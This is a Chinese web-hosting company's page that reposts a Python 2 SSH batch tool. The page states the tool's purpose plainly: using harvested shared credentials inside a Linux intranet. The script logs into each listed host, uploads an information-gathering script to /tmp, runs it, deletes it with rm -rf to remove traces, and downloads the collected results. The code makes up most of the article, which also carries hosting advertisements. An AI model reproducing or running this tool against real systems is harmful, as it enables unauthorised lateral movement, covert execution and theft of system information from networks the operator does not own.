我们专注攀枝花网站设计 攀枝花网站制作 攀枝花网站建设
成都网站建设公司服务热线:400-028-6601

网站建设知识

十年网站开发经验 + 多家企业客户 + 靠谱的建站团队

量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决

ssh批量登录上传执行命令下载文件-创新互联

用途:

成都创新互联网络公司拥有10多年的成都网站开发建设经验,近千家客户的共同信赖。提供成都做网站、成都网站制作、网站开发、网站定制、外链、建网站、网站搭建、成都响应式网站建设公司、网页设计师打造企业风格,提供周到的售前咨询和贴心的售后服务

 搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。

缺点:

 不支持多线程  密码必须正确切可连通  端口硬编码为22 如果不是22 请自行修改

执行过程:

 执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的  两个文件都需要改动)

ssh批量登录 上传 执行命令 下载文件

# -*- coding: utf_8 -*-
# Date: 2015/5/15
# author:sanr
import paramiko,time,sys,os
def README():
	print '+' + '-' * 50 + '+'
	print u'\t    	Python ssh批量登录脚本'
	print u'\t    	  ip请写入iplist.txt	'
	print u'\t     	   Time:2015-5-15'
	print u'\t    	    author : sanr'
	print '+' + '-' * 50 + '+'
	if len(sys.argv) != 3:
		print  u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass"
		print  u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root"
		sys.exit()
def upload(host,user,pswd):
	try:
		ssh = paramiko.Transport((host,22))
		ssh.connect(username = user, password = pswd)
		sftp = paramiko.SFTPClient.from_transport(ssh)
		sftp.put("./1.py","/tmp/1.py")
		print '[+]'+host,u'ssh已登陆',
		# 调用执行命令函数
		ssh3(host,user,pswd)
		# 调用创建目录函数
		mkdir(host)
		# 下载远程主机文件
		sftp.get("/tmp/test.txt", "./"+host+"/result.txt")
		print u'信息收集结果已成功下载'
		ssh.close()
	except:
		pass

def ssh3(host,user,pswd):
	try:
		ssh = paramiko.SSHClient()
		ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		ssh.connect(host,22,user,pswd, timeout=5)
		#stdin, stdout, stderr = ssh.exec_command('ifconfig;free')
		#print stdout.read()
		#执行命令 修改上传1.py的代码权限为777 执行1.py脚本  删除1.py脚本
		stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py')
		ssh.close()
	except:
		pass
def mkdir(path):
    # 引入模块
    import os
    # 判断路径是否存在
    # 存在     True
    # 不存在   False
    isExists=os.path.exists(path)
    # 判断结果
    if not isExists:
        # 创建目录操作函数
        os.makedirs(path)
		# 如果不存在则创建目录
        print  u' 创建目录成功',
        return True
    else:
        # 如果目录存在则不创建,并提示目录已存在
        print   u'本地目录已存在',
        return False

if __name__=='__main__':
	README()
	start_time = time.time()
	with open('./iplist.txt', 'r') as f:
		for ip in  f:
			host=ip.strip()
			user=sys.argv[1]
			pswd=sys.argv[2]
			upload(host,user,pswd)
	print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)		

附件:http://down.51cto.com/data/2365680

另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


本文名称:ssh批量登录上传执行命令下载文件-创新互联
文章地址:http://mswzjz.cn/article/djodjh.html

其他资讯